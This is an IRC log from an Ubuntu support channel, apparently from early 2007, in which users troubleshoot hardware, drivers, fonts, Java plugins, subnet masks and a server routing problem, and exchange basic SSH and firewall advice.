[10:26] <corevette> fokuslee..i don't have much to save...but i have one last question
[10:26] <fokuslee> corevette:  go ahead
[10:26] <DaneDog> why are so many people on this channel and idle?
[10:26] <Maric> I guess fiesty fawn ISOs are availiable at the www.ubuntu.com/testing/herd1
[10:26] <fokuslee> corevette:  try to post ur question on the forum
[10:26] <daftman> yea what about it noobcook?
[10:26] <fokuslee> maybe someone can help
[10:27] <corevette> fokuslee....when i plugged both hard drives in at the same time....the live cd wouldn't start
[10:27] <noobcook> daftman: thats what im using for remote login
[10:27] <corevette> fokuslee...but it would start if i plugged in only one hard drive
[10:27] <bimberi> DaneDog: Because they like to watch :)
[10:30] <daftman> I know: but with what software? SNMP is just a protocol
[10:30] <fokuslee> corevette:  does it matter which harddrive u plug in?
[10:30] <DaneDog> haha bimberi... you just came out of the woodwork :)
[10:30] <corevette> no fokuslee...but it would freeze if i plugged in both
[10:30] <daftman> DaneDog: well I am paying it back and forward
[10:30] <daftman> DaneDog: some people help me before and now I help others back when I can
[10:30] <Maric> this chat is the second reason why I am staying with ubuntu
[10:30] <fokuslee> corevette:  the only thing i can think of is your powersupply is not big enuff did u just add a new harddrive?
[10:30] <Maric> the first is the distro itself
[10:30] <corevette> it freezes during while the live cd is loading
[10:30] <DaneDog> If i had any knowledge i'd do more then just ask question and shoot the Sh*t
[10:30] <fokuslee> corevette:  it also mite by ur mobo i had the same problem when i plug in both sata and pata it freezes
[10:30] <fokuslee> corevette:  it could be your mobo
[10:30] <MeisterZopf> anyone knows a solution to the skype freeze problem on ubuntu?
[10:30] <DaneDog> but i'm trying does that count?
[10:30] <corevette> whats mobo fokuslee?
[10:30] <fokuslee> corevette:  soo this mite be a hardware problem did u just get a new drive?
[10:30] <Maric> DaneDog: it counts
[10:30] <mneptok> corevette: what northbridge?
[10:30] <corevette> mneptok northbridge?
[10:30] <fokuslee> mother board
[10:30] <corevette> you think i'm missing a few slavesor something fokuslee?
[10:31] <fokuslee> corevette: slave and master shouldn't matter
[10:31] <fokuslee> itz auto select rite?
[10:31] <DaneDog> thanks...
[10:31] <mneptok> corevette: who makes the motherboard? what controllers does it use? is te PATA cntroller internal to the northbridge or a third party?
[10:31] <DaneDog> i appreciate that...
[10:31] <fokuslee> corevette:  did u just put in a new harddrive?
[10:31] <corevette> i've used both before at the same time fokuslee....
[10:31] <corevette> just recently i can't fokuslee
[10:32] <DaneDog> I think i'm gonna stick it out and learn to live without unreal tournament for a while... :)
[10:32] <Maric> DaneDog you like fps type games then?
[10:32] <fokuslee> i really really don't no im really sorri
[10:32] <DaneDog> I'm learning alot about linux... but i'm ruining installations
[10:32] <fokuslee> corvet im soo out of ideas lol
[10:32] <DaneDog> that and RPG are all i play
[10:32] <SurfnKid> how do you install fonts?
[10:32] <Maric> hang on a tic
[10:32] <corevette> its okay fokuslee
[10:32] <SurfnKid> Ive got a few fonts here with me
[10:33] <DaneDog> sure
[10:33] <SurfnKid> do I just copy that to /usr/share/fonts?
[10:33] <corevette> i have to go...it's 1:30 in the morning and i've got high school in 7 hours..thanks for your help fokuslee
[10:33] <Jowi> SurfnKid, yep, or to $HOME/.fonts
[10:33] <fokuslee> corevette:  yeah try to ost on the forum
[10:35] <fokuslee> u in colleg?
[10:35] <fokuslee> im in cali too so itz same time for me
[10:35] <corevette> fokuslee....nope high school
[10:35] <Maric> DaneDog: stop by www.quadropolis.us
[10:35] <corevette> fokuslee mountain view
[10:35] <DaneDog> what's that?
[10:35] <fokuslee> ok ok go too bed
[10:35] <fokuslee> its a place in cali
[10:35] <fokuslee> corevette:  im in berkeley
[10:35] <corevette> fokuslee....you goin to cal?
[10:35] <Maric> a linux fps game/comunity site
[10:35] <SurfnKid> Jowi, would you suggest either or solution?
[10:35] <fokuslee> i finished : )
[10:35] <DaneDog> cube games won't run.....
[10:35] <DaneDog> unichrome sucks... :(
[10:35] <Maric> ohhh right
[10:35] <corevette> fokuslee....curiosity...what was your highschool gpa
[10:35] <Maric> srry
[10:35] <DaneDog> it's ok...
[10:35] <fokuslee> 4.2
[10:35] <Jowi> SurfnKid, both work. /usr/share/fonts are system wide, /home/user/.fonts are just for that user.
[10:35] <DaneDog> maybe tommorrow i'll check to see if i got any video cards to use...
[10:35] <Maric> I usu get along ok - but I use nvidia
[10:35] <corevette> fokuslee...damn okay i think i need more sleep to get up that high.. thanks again
[10:35] <fokuslee> corevette:  cal look at gpa but also alot of extra activity
[10:35] <fokuslee> corevette:  ok good luck
[10:35] <DaneDog> i think anything is better then unichrome right now
[10:35] <Maric> hehe true
[10:35] <fokuslee> and 99
[10:35] <deepsa> my wireless is not working please help
[10:35] <deepsa> i have ipw3945
[10:35] <deepsa> please help
[10:36] <SurfnKid> Jowi, thanks man!
[10:36] <DaneDog> it kinda sucks... because in between Mandriva and Xubuntu I installed 2000 pro and the card worked pretty good for games
[10:36] <Moose> What kind of security features does ubuntu have?
[10:37] <DaneDog> anyone got any overclocking expierence with celeron?
[10:37] <Maric> well, understand that linux is the red headed step child of driver support
[10:37] <lupine_85> Moose: you name it, it's go it ;)
[10:37] <lupine_85> got*
[10:37] <DaneDog> yea i noticed :)
[10:37] <Moose> By default, is everything pretty secure?
[10:37] <Maric> moose check out the bastile linux package
[10:37] <lupine_85> by default, very secure
[10:37] <Moose> Cool, that's all I needed to know :)
[10:37] <lupine_85> no open ports at all (compared to MS's ~20 or so); no vulnerability to viruses, most buffer overflows;
[10:37] <lupine_85> etc
[10:38] <Maric> moose for the paranoid the bastille package rocks
[10:38] <lupine_85> not to mention timely updates whenever a vulnerability is found ;)
[10:38] <Maric> that and grsecurity and away you go to secure ops
[10:38] <mneptok> deepsa: sudo aptitude install linux-restricted-modules
[10:38] <deepsa> ok
[10:38] <deepsa> reboot needed?
[10:39] <mneptok> yes
[10:39] <Moose> Well my network is somewhat insecure, I have nothing blocking my ports and such.
[10:39] <DaneDog> I oc my 2.6 @ 113fsb and it's ok, but if i push it any further it locks the system... i heard rumors of a burn in effect where if u let it run at a higher bus it gets used to it and works better... ever hear of that?
[10:39] <Maric> ubuntu security updates are some of the fastest and best
[10:39] <lupine_85> Moose: there's a built in firewall in linux, but by default it's not needed
[10:39] <lupine_85> due to the lack of open ports :)
[10:39] <Moose> Hm.
[10:39] <lupine_85> no NetBIOS/Samba/etc
[10:39] <fokuslee> lupine_85: so ur saying clamav and firestarter are just wastes?
[10:39] <lupine_85> not at all
[10:40] <Moose> Since I installed SSH, does that open up some vulnerability?
[10:40] <lupine_85> they're great as soon as you start opening ports
[10:40] <jedrick> morgs, how to mount my windows drives everytime i boot up my computer?
[10:40] <lupine_85> Moose: increases risk very slightly
[10:40] <Maric> DaneDog: yes, and due to my *limited* electronics training (avionics tech) I am inclined to dislike that statement
[10:40] <mneptok> fokuslee: ClamAV is 99% useless as regards Linux
[10:40] <Moose> Alright, so it's not really waving a flag saying "Hey, we've got free SSH!".
[10:40] <lupine_85> the SSH server has a good codebase; you don't get vulnerabilities in it often at all
[10:40] <jedrick> how to mount my windows drives everytime i boot up my computer?
[10:40] <DaneDog> so you don't see it happening...
[10:40] <lupine_85> mneptok: it's good for protecting all your windows-using friends ;)
[10:41] <lupine_85> Moose: only if people port-scan you
[10:41] <fokuslee> lupine_85: hehe so try
[10:41] <mneptok> lupine_85: that's what Ubuntu CDs are for
[10:41] <Moose> Is there a way to block port scanning?
[10:41] <lupine_85> erm, depends
[10:41] <fokuslee> lupine_85 i didn't do anything with iptables so im good rite i mean i torrent but the ports are closed after automatically rite?
[10:41] <lupine_85> but for extra protection, just use port knocking or (best) SSH key authentication
[10:41] <Maric> DaneDog: no not really, and I am more inclined to think that there could be hardware damage if you are unlucky
[10:42] <lupine_85> fokuslee: well, not really, no
[10:42] <Moose> port knocking?
[10:42] <deepsa> THANKS its working
[10:42] <lupine_85> yeah
[10:42] <Moose> Never heard of it, heh.
[10:42] <lupine_85> you send a specific code to a specific port on your server
[10:42] <mneptok> deepsa: np
[10:42] <DaneDog> yea... i have 4 fans running and my cpu doesn't ever get over 31c
[10:42] <lupine_85> that then starts the SSH daemon for a short period for you to log in
[10:42] <deepsa> somebody tell me ubuntu svn repo for beryl i wanna install thru synaptic the svn version
[10:42] <DaneDog> so it's not getting too hot, but the voltage is up .05v
[10:42] <lupine_85> it makes port scans essentially useless against you
[10:42] <Moose> How would I enable SSH key authentication?
[10:42] <fokuslee> lupine_85 do u have a computer related job?
[10:42] <fokuslee> if i may ask?
[10:42] <lupine_85> no
[10:43] <lupine_85> I'm a biologist :p
[10:43] <fokuslee> darn u no soo much
[10:43] <jedrick> i can't play mp3 file on my amarok.. why is that? can someone help me?
[10:43] <fokuslee> lol
[10:43] <fokuslee> lupine_85:  master? phd?
[10:43] <Maric> DaneDog: its not just heat, semiconductors like everything just so, if its off al kinds of wierd things happen
[10:43] <lupine_85> BSc.
[10:43] <lupine_85> (2nd year now)
[10:43] <deepsa> anybody help
[10:43] <deepsa> help please
[10:43] <fokuslee> lupine_85:  i finished mcb and math but i didn't really like bio
[10:44] <lupine_85> if it makes you feel any better, I've just spent ~17 hours trying to convert an avi to another format :D
[10:44] <Maric> DaneDog: votage, current and other things all can/do have their effects and when they are pushed too hard with anyof these smoke comes out
[10:44] <lupine_85> finally successed
[10:44] <lupine_85> succeeeded rather
[10:44] <fokuslee> lupine_85:  wow noo way why soo long
[10:44] <fokuslee> thats crazy
[10:44] <DaneDog> oh... cuz i also heard that intel "supposedly" uses the same chip for the P4 as the Celeron but different onboard cache and that they basically speed test the chip till it can't go anymore and that's what it's rated at...
[10:44] <Moose> Anyone have any tips for running 8 servers out of your house? As far as throwing breakers all the time? Figured I'd ask since we have all these science people here.
[10:44] <lupine_85> ever heard of a .smv format?
[10:45] <lupine_85> Moose: in general, don't do it
[10:45] <DaneDog> and if that's true, then my processor is going to die real soon :)
[10:45] <Moose> lupine_85: Why not?
[10:45] <Maric> had an issue with a nav/comm radio the other day - a student put is DMM on resistance measureing and probed the board w/ power on and that alone nuked a $300.00 transistor and a cpu and other things
[10:45] <lupine_85> you can buy space in a datacenter for around the same costing, and get more resilience besides :p
[10:45] <Maric> chips are sensitive buggers
[10:46] <fokuslee> lupine_85: .smv? never but i wiki it hehe
[10:46] <lupine_85> it's not in the wiki
[10:46] <lupine_85> that obscure :D
[10:46] <Moose> The same price? Co-lo hosting for a full rack is in excess of $2500 / month here :P
[10:46] <lupine_85> ?!
[10:46] <deepsa> :D
[10:46] <lupine_85> can you virtualise it? or host overseas?
[10:46] <fokuslee> Maric wut u teach?
[10:47] <Moose> lupine_85: Was that directed at me?
[10:47] <lupine_85> yeah
[10:47] <Maric> DaneDog: they do punch out many chips at a time from the same silicon, but their tests are pretty accurate if conservative
[10:47] <lupine_85> or how about 4 procs in 1U of space?
[10:47] <Moose> Host overseas? I'd rather not, shipping and all...
[10:47] <DaneDog> haha... that's not funny i know someone who used a multimeter on a Mitsubishi Eclipse ECU to measure ohms and had it set for something else and it didn't do the PCM much good... cost him like 250 for another turbo PCM
[10:47] <lupine_85> oh, you already have the hardware
[10:47] <lupine_85> ?
[10:47] <Moose> Yep :P
[10:47] <Maric> fokuslee: I teach basic electronics and soldering, I also help in an advanced communications class on aircraft radios and ILS systems
[10:48] <Moose> Got >300 pieces of random sizes and such of RAM too :P
[10:48] <lupine_85> http://linitx.com/product_info.php?cPath=40&products_id=267&osCsid=5f4a37892d6834c9519a0f6623aa2bfe :)
[10:48] <lupine_85> Moose: ^ that is cool ^
[10:48] <fokuslee> Maric:  sounds really cool, lol im just looking for career advice thinking about changing
[10:48] <lupine_85> 8 CPUs in 2U of space, if you get two
[10:48] <DaneDog> sounds like you gotta lot of knowledge in general Maric
[10:49] <Maric> fokuslee: I'll be happy to talk about it
[10:49] <Moose> lupine_85: That would solve some problems :P
[10:49] <Maric> DaneDog: I got it by screwing up alot, graduated magna cum clod at the school of hard knocks
[10:49] <lupine_85> mm, buy me one while you're stocking up ;)
[10:49] <fokuslee> Maric:  well like right now i just graduated applied math and mcb but i really don't like the jobs i get with them
[10:49] <Moose> Hehe, I should replace all of mine with those :P
[10:50] <lupine_85> :p
[10:50] <Maric> fokuslee: well you like airplanes?
[10:50] <fokuslee> Maric  im really interested in electronics but i have no experience
[10:50] <Moose> I've got two 4U SUN servers, not sure what to do with them. Never used SUN before.
[10:50] <fokuslee> Maric:  who doens't
[10:50] <gnomefreak> Maric: fokuslee join #ubuntu-offtopic
[10:50] <Moose> But I know that two of them on one circuit, not a good idea :P
[10:50] <fokuslee> T.T
[10:51] <DaneDog> how many mod chips have you done in video games :) if u do soldering in a class i'm sure students ask u to do that to PS2's and Xbox
[10:51] <lupine_85> OpenSolaris is fun, but you can also run Ubuntu on sun hardware I think
[10:51] <Maric> srry gnomw
[10:51] <gnomefreak> DaneDog: join #ubuntu-offtopic to continue on that topic
[10:51] <Moose> That would be cool then.
[10:51] <fokuslee> Maric hehe i got u in trouble : ) are u there?
[10:51] <DaneDog> has anyone gotten ubuntu to run on a ps2 or psp?
[10:51] <DaneDog> sorry
[10:52] <lupine_85> DaneDog: perfectly do-able
[10:52] <Maric> dane, focus see you in off topic?
[10:52] <DaneDog> sure
[10:52] <mneptok> thanks, guys
[10:52] <lupine_85> see http://playstation2-linux.com/
[10:52] <Moose> Just a quick question about NICs, whats the point of having 3? :P
[10:53] <lupine_85> there's a debian distro that runs already, IIRC
[10:53] <lupine_85> Moose: lots of reasons
[10:53] <lupine_85> especially if you've got a cluster :)
[10:53] <Moose> A cluster?
[10:53] <lupine_85> lots of PCs together
[10:54] <Moose> Yeah, I suppose I have one then :P
[10:54] <lupine_85> e.g. a full rack of those 4-mobos/1U boxes :)
[10:54] <IntuitiveNipple> Moose: Security on a gateway - WAN, LAN, and DMZ
[10:54] <lupine_85> mm. my server in london has a crossover cable direct into the Ubuntu gb mirror, among others
[10:54] <lupine_85> only 100mbps though
[10:55] <IntuitiveNipple> Anyone doing kernel device hacking ?
[10:55] <torkel_> Can anyone help me with a routing/firewall issue here? I've got a server with two NIC's. One connected to the LAN and the other to internet. The lan have full access to the internet and no trouble at all (im on freenode now f.ex), but I cannot connect from the server itself. I've checked iptables and the routing table, and I can't find the error :/
[10:55] <DaneDog> maric: hey maric u coming over to offtopic?
[10:55] <lupine_85> torkel_: weird stuff. A DNS problem?
[10:56] <torkel_> lupine_85: no, cant reach ip's either
[10:56] <lupine_85> what's between server & internet?
[10:56] <IntuitiveNipple> torkel_: does the syslog show refused connections?
[10:56] <torkel_> lupine_85: it's directly connected to the isp via fibre channel
[10:56] <Moose> If I install another hard drive, and want to access it through ubuntu, how would I partition it? With what file system and what mounting directory and such?
[10:56] <torkel_> IntuitiveNipple: Let me check
[10:56] <lupine_85> any chance the ISP is blocking that IP?
[10:57] <lupine_85> oh, and is the network setup sane?
[10:57] <lupine_85> since you've got fibre channel, I assume it must be :)
[10:57] <torkel_> lupine_85: not blocking the IP, im masquerading the LAN on the same ip
[10:58] <lupine_85> you only have the one IP?
[10:58] <lupine_85> (public)
[10:58] <IntuitiveNipple> torkel_: Is it multi-homed on the WAN i/f - in other words, routing the LAN on one IP, but trying to route itself on another?
[10:59] <lupine_85> major w00tage
[10:59] <SurfnKid> !fonts
[10:59] <ubotu> Font installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer
[10:59] <lupine_85> another milestone gone :)
[10:59] <Jowi> torkel_, if the lan can access the net then it is not a routing issue. what type of server is it that you have set up? is it in the LAN? can the clients in the LAN ping the machine that the server is running on?
[10:59] <mneptok> lupine_85: just dropped 3 minutes ago :)
[11:00] <lupine_85> :p
[11:02] <impulze-> hey how can i get a normal terminal from the ubuntu amd64 livecd?
[11:02] <impulze-> without firing up the installer?
[11:02] <impulze-> just a normal shell :)
[11:02] <lupine_85> ctrl+alt+f1 ? ;)
[11:02] <impulze-> ok :) i'm not sure another guy is trying to rescue his system and i'm helping him remotely and he only got ubuntu livecd :)
[11:03] <Marupa> Hey, really quick question.  How would I enable higher resolutions than 1024x768?  I know my monitor and card support it.
[11:03] <gnomefreak> impulze-: from the menu go to applications>accesories>terminal ;)
[11:04] <jrib> !fixres | Marupa
[11:04] <ubotu> Marupa: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[11:04] <impulze-> gnomefreak: which option would i have to choose during booting from the cd?
[11:04] <gnomefreak> impulze-: boot or install
[11:04] <Marupa> thank you, jrib.
[11:04] <impulze-> gnomefreak: but choosing install opens the partitioner
[11:04] <impulze-> gnomefreak: i don't need that
[11:04] <gnomefreak> impulze-: when you have the 5 or so choices you would choose the 1st one
[11:04] <noobcook> rofl
[11:04] <noobcook> i found kenacort A-10 in my fridge
[11:04] <mneptok> Marupa: sudo dpkg-reconfigure xserver-xorg
[11:04] <gnomefreak> impulze-: choosing the first option will bring you to the desktop so you can either use the livecd or install from it
[11:05] <DRMacIver> Hm. THe latest mozilla java plugin in the repositories seems to use 1.4. That's just embarassing. :)
[11:05] <impulze-> gnomefreak: the first option is "install in text mode"
[11:05] <gnomefreak> impulze-: thats not the live cd than
[11:06] <gnomefreak> impulze-: thats the alternate cd
[11:06] <impulze-> it's the amd64-alternative cd
[11:06] <impulze-> yes
[11:06] <impulze-> sorry i didnt make that clear
[11:06] <jrib> DRMacIver: no, 1.5 on edgy at least
[11:06] <gnomefreak> impulze-: you cant do anything but install with that cd
[11:06] <DRMacIver> jrib: I don't see it.
[11:06] <DRMacIver> jrib: They have the 1.5 jre, but I don't see the browser plugin for it.
[11:06] <jrib> !info sun-java5-plugin | DRMacIver
[11:06] <ubotu> sun-java5-plugin: The Java(TM) Plug-in, Java SE 5.0. In component multiverse, is optional. Version 1.5.0-08-0ubuntu1 (edgy), package size 1 kB, installed size 64 kB
[11:06] <gnomefreak> !info sun-java5-plugin dapper
[11:06] <ubotu> sun-java5-plugin: The Java(TM) Plug-in, Java SE 5.0. In component multiverse, is optional. Version 1.5.0-06-1 (dapper), package size 1 kB, installed size 64 kB
[11:06] <DRMacIver> Hm. Maybe I've messed up my repository setup. I'll try again. :)
[11:07] <gnomefreak> DRMacIver: if you see 1.4 you will see 1.5
[11:07] <impulze-> gnomefreak: do i need ubuntu-6.10-desktop-amd64.iso    ?
[11:07] <gnomefreak> impulze-: yes
[11:07] <impulze-> ok
[11:07] <gnomefreak> DRMacIver: look for package sun-java5-plugin
[11:08] <DRMacIver> gnomefreak: I see bin, demo, doc, fonts, jdk, jre and source. No plugin.
[11:08] <DRMacIver> Oh
[11:08] <DRMacIver> Note that I'm on AMD64
[11:08] <gnomefreak> ah
[11:08] <DRMacIver> That's usually the problem. :)
[11:08] <gnomefreak> DRMacIver: than install bin and jre
[11:09] <jrib> DRMacIver: yep, http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=sun-java5-plugin&searchon=names&subword=1&version=edgy&release=all
[11:09] <DRMacIver> I already have the 6 JDK installed. They don't include the plugin. :)
[11:09] <DRMacIver> jrib: Oh well.
[11:09] <jrib> DRMacIver: there should be links from the restricted wiki on getting it to work with amd64
[11:10] <DRMacIver> Yeah, but it will probably me more time and effort than I feel like putting into it at this time in the morning. :)
[11:10] <DRMacIver> be
[11:10] <DRMacIver> I'll take a look later. Thanks.
[11:10] <jrib> yes, would probably be faster to just reinstall the i386 version of ubuntu :)
[11:10] <jackass> ok.. i have a problem! when i set the subnet for 192.168.0.0 at 255.0.0.0 the route config changes to 192.0.0.0 255.0.0.0 ... essentially I can't connect to anyone... help?
[11:11] <DRMacIver> My philosophical stance on that suggestion is that I'm more interested in having a properly functioning 64 bit system than I am in playing applets. :)
[11:11] <DRMacIver> And for most other things I'll set up a dchroot when I get round to it.
[11:12] <Jowi> jackass, you do not have a 255.0.0.0 network
[11:13] <mneptok> jackass: you want 255.255.255.0 for the mask
[11:13] <jackass> will my friends are using windows, and they successful playing etc.. i know, its technically incorrect.. but hey? what can I do? lol
[11:13] <jackass> ok
[11:13] <jackass> will tell them to change
[11:13] <jackass> i thought so too
[11:13] <jackass> windows.. its shocking the network crimes it commits!@!@!
[11:13] <Jowi> jackass, 255.0.0.0 is a class A network. you do not have that. take my word for it
[11:14] <jackass> thanks
[11:14] <un_operateur> jackass, if you want to use that setup (a weird one indeed) .. all computers on that network must use a mask of 255.0.0.0
[11:14] <mneptok> Jowi: you never know. maybe he's the human incarnation of uuNet ;)
[11:14] <noobcook> usenet *vomit*
[11:15] <mneptok> uuNet != Usenet
[11:15] <Jowi> jackass, in a "normal" LAN network the subnet mask will be 255.255.255.0 and that is what I think you want seeing the ip address you wish to use. here's some basics for you http://en.wikipedia.org/wiki/Subnetwork
[11:15] <torkel__> Jowi: It's a fujitsu siemens primergy rx100s3 server, a 19" blade. I can ping both of the NICs on the server from inside the lan, the one connected to internet and the one connected to the lan. The lan clients have access to the internet also, but not from the server when i ssh in to the server from inside the lan. There is another strange problem though, connecting to ssh takes some time.. 20 seconds perhaps :/
[11:15] <Jowi> jackass, 255.255.255.0 is a class C network
[11:15] <jackass> Jowi: thanks!
[11:16] <torkel__> Jowi: i can also ping the lan clients from the server, but not the internet gateway or any further than that.
[11:16] <jackass> Jowi: I understand .. my friends have incorrectly configured the LAN setup.. let me fix it
[11:16] <un_operateur> Jowi, 255.255.255.0 is actually a Class E network .. :) it's the default classful mask for a class C network tho :)
[11:17] <Jowi> torkel__, are you connecting to the servers ip address or its name?
[11:17] <Jowi> un_operateur, very very true
[11:17] <torkel__> Jowi: ip, no dns record yet.
[11:17] <mneptok> torkel__: traceroute time
[11:17] <torkel__> 1.8ms
[11:17] <reverendnathan> Howdy, I'm trying to install ubuntu 6.1, and I gotta problem. the GUI doesn't recognize my mouse of keyboard. They are generic PS/2 devices that both Windows and Arch Linux had recognized from the get-go.
[11:18] <torkel__>  1  192.168.4.1 (192.168.4.1)  2.554 ms  2.613 ms  2.675 ms
[11:18] <torkel__>  2  192.168.0.1 (192.168.0.1)  1.994 ms  1.745 ms  1.835 ms
[11:18] <reverendnathan> Is there another install method or boot command I can use?
[11:18] <mneptok> torkel__: do the packets reach the destination?
[11:18] <torkel__> mneptok: yeah
[11:18] <torkel__> mneptok: i'm sitting on the lan, and i can ping my gateway, the server, and further out to the internet.
[11:18] <bimberi> reverendnathan: do you have keyboard in the virtual console?
[11:18] <noobcook> why isnt there any guides to cooking methamphetamines on google you ask
[11:18] <mneptok> torkel__: then routing is not the issue. check firewall rules.
[11:18] <noobcook> well the government made it so google cant return searches for that
[11:19] <reverendnathan> bimberi: I'm doing a CD install
[11:19] <jrib> noobcook: #ubuntu-offtopic please
[11:19] <noobcook> hahaha ok =)
[11:19] <un_operateur> torkel__, can you !pastebin the output of  - route -n
[11:19] <bimberi> reverendnathan: ah, so no k/b or mouse when the LiveCD boots?
[11:20] <mneptok> noobcook: #ubuntu-methlab is on another network hosted from a double-wide trailer
[11:20] <un_operateur> torkel__, route -n  on the server/router/gateway
[11:20] <bimberi> r.o.f.l.
[11:20] <Jowi> torkel__, i'm confused by your description. you say that the LAN has got access to the internet but can't ping the gateway...? did I understand that correctly?
[11:20] <noobcook> mneptok:  ROFL
[11:21] <reverendnathan> bimberi: When I used the 5.0 CD for my backup, I had no problem. This new installer for 6.1 is some sort of LiveCD-InstallCD hybrid, where it loads up Gnome as it were, and has a desktop icon "Install". Problem is I can't point or guide my way to there because... well... you know.
[11:21] <Jowi> torkel__, or is it from within the server you can't ping the gateway?
[11:21] <un_operateur> Jowi, it seems to me, the gateway/router has 2 default routes and the LAN-side one takes precedence because of the lower metric
[11:22] <mneptok> reverendnathan: checked BIOS settings for the "Legacy IO Support?"
[11:22] <bimberi> reverendnathan: yep i know :/ . At the moment all I can suggest is to try the alternate CD (which is a pretty crappy suggestion I know)
[11:22] <Jowi> torkel__, do the server have the correct ip/mask/gateway set up?
[11:22] <Jowi> looks like it un_operateur
[11:22] <bimberi> reverendnathan: so listen to mneptok (especially his jokes) :)
[11:23] <torkel__> Jowi: jowi, the setup is like this  LAN(192.168.4.0/24)<->ROUTER<-(192.168.0.0/24)->SERVER<->INTERNET. The LAN clients have access to the internet and can ping all hosts, the server can ping the router and all hosts on lan, but not internet
[11:23] <reverendnathan> bimeri: Like, install version 5, and go through updates?
[11:23] <torkel__> un_operateur: !pastebin?
[11:23] <reverendnathan> mneptok: Lemme check. Hold up fool
[11:23] <reverendnathan> s
[11:23] <reverendnathan> fools*
[11:23] <reverendnathan> Ah
[11:23] <reverendnathan> I just installed Vista
[11:23] <un_operateur> !paste | torkel__
[11:23] <ubotu> torkel__: paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[11:23] <bimberi> !alternate | reverendnathan
[11:23] <ubotu> reverendnathan: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD.
[11:23] <reverendnathan> Advice to those who still have interest in Windows
[11:24] <mneptok> reverendnathan: "fools?" dude, *my* keyboard works ;)
[11:24] <reverendnathan> It's XP with some new tricks... not worth it
[11:24] <reverendnathan> haha
[11:24] <reverendnathan> It's slang in this region I'm in
[11:24] <mneptok> reverendnathan: 1996?
[11:24] <reverendnathan> Oh, that alternitive CD sounds just fine!
[11:24] <mneptok> :P
[11:24] <reverendnathan> Haha
[11:24] <reverendnathan> Souther California
[11:24] <un_operateur> torkel__, so in this setup it's 'server' that is behaving a little odd, right?
[11:24] <tijn> can it do a handstand?
[11:24] <reverendnathan> But lemme check me BIOS
[11:24] <reverendnathan> BRB
[11:25] <torkel__> un_operateur: yeah, seems like iptables issues.. but can find any error there :/ Probably is though
[11:25] <mneptok> reverendnathan: seriously, poke around the BIOS for settings related to PS/2 support
[11:25] <un_operateur> torkel__, I think it's more a routing issue -- can you get on the server and paste the contents of the route -n command
[11:25] <torkel__> un_operateur: http://paste.ubuntu-nl.org/1284/
[11:26] <labanux> is there any program in Ubuntu to create UFS filesystem??
[11:27] <mneptok> labanux: by default UFS write is turned off, iirc
[11:28] <un_operateur> torkel__, errm, from the server, can you ping these two addresses? 84.16.196.189 and 72.14.207.99
[11:28] <torkel__> un_operateur: eth0 is connected to internet, and eth1 the lan
[11:29] <labanux> mneptok : so how can i turn it on?
[11:29] <un_operateur> torkel__, yep, i noticed that
[11:29] <torkel__> un_operateur: cant ping any of them from the server
[11:29] <IntuitiveNipple> torkel__: routing table looks identical to mine, and mine works fine.
[11:29] <xip> hi, Im having problems getting my wireless to work, can someone help me?
[11:29] <torkel__> un_operateur: can ping them from the lan though
[11:29] <IntuitiveNipple> torkel__: Have you tried stopping the firewall temporarily to see if that allows you WAN access?
[11:30] <IntuitiveNipple> torkel__: can you pastebin iptables -L ?
[11:30] <SHRIKEE> http://www.sothq.net/2007/01/12/what-would-be-different-for-you-if-you-had-no-computer/
[11:30] <un_operateur> torkel__, can 'server' ping any of the 192.168.4.x addresses? they seem ok here
[11:31] <torkel__> un_operateur: no, cant ping 192.168.4.0/24 from the server (i really thought i could :P)
[11:31] <reverendnathan> Alright, didn't see any option for Legacy I/O
[11:31] <Jowi> torkel__, what is the ip of the server?
[11:31] <reverendnathan> I'm gonna take a fstab that that alternaCD
[11:31] <labanux> is there any program in Ubuntu to create UFS filesystem??
[11:32] <torkel__> IntuitiveNipple: http://paste.ubuntu-nl.org/1285/
[11:32] <torkel__> Jowi: the internal 192.168.0.1 and the external the one i got from isp
[11:32] <Jowi> torkel__, so your router and the server is the same machine?
[11:33] <IntuitiveNipple> torkel__: pastebin your ifconfig please?
[11:33] <Jowi> torkel__, how about putting the server on the same network as you lan?
[11:33] <torkel__> torkel__: i got two routers... the lan (192.168.4.0/24) is connected to one, and that one is connected to the server via 192.168.0.0
[11:34] <un_operateur> Jowi, it is on the same network .. atleast one interface is
[11:34] <torkel__> Jowi: wont have it on the same subnet
[11:35] <torkel__> IntuitiveNipple: http://paste.ubuntu-nl.org/1286/
[11:41] <torkel__> let me clean up the iptables rules and paste them
[11:41] <IntuitiveNipple> torkel__: Well, I can ping your WAN gateway but not the server, so there's obviously *something* intercepting
[11:41] <un_operateur> torkel__, what i would do now is delete each route (route delete ..) and add them back giving each route except the 0.0.0.0 a metric of 20 and giving 0.0.0.0 a metric of 10 .. that way you force all exernal traffic to exit the eth0 interface to 84.16.196.189
[11:41] <gandalfcome> I have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.
[11:41] <IntuitiveNipple> I don't see any problems in the routing table - its a straightforward gateway table
[11:41] <un_operateur> IntuitiveNipple, the problem is that all routes possess the same metric now .. usually the dfault route 0.0.0.0 has a lower metric than the others
[11:41] <torkel__> IntuitiveNipple: some firewall rules, i clean them up now
[11:41] <IntuitiveNipple> But, metrics only come into play where you've got identical routes
[11:41] <IntuitiveNipple> torkel__: thanks
[11:41] <IntuitiveNipple> I've got an identical setup here (route-wise) and it works fine
[11:41] <jimcooncat> is there a nice howto to install edgy alongside dapper, and dual boot?
[11:41] <saul_> hi
[11:48] <torkel__> firewall setup http://paste.ubuntu-nl.org/1287/
[11:48] <un_operateur> IntuitiveNipple, errm, actually, notice the second route 192.168.0.0 has a gateway of 0.0.0.0 when it should be something like 192.168.0.1 as like the third route?
[11:48] <IntuitiveNipple> no, thats correct. mines reads: 10.254.251.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0
[11:48] <torkel__> i cant reach 192.168.4.x from the server either :)
[11:48] <torkel__> no traffic out from it, only forwarding
[11:48] <torkel__> and traffic in to it works
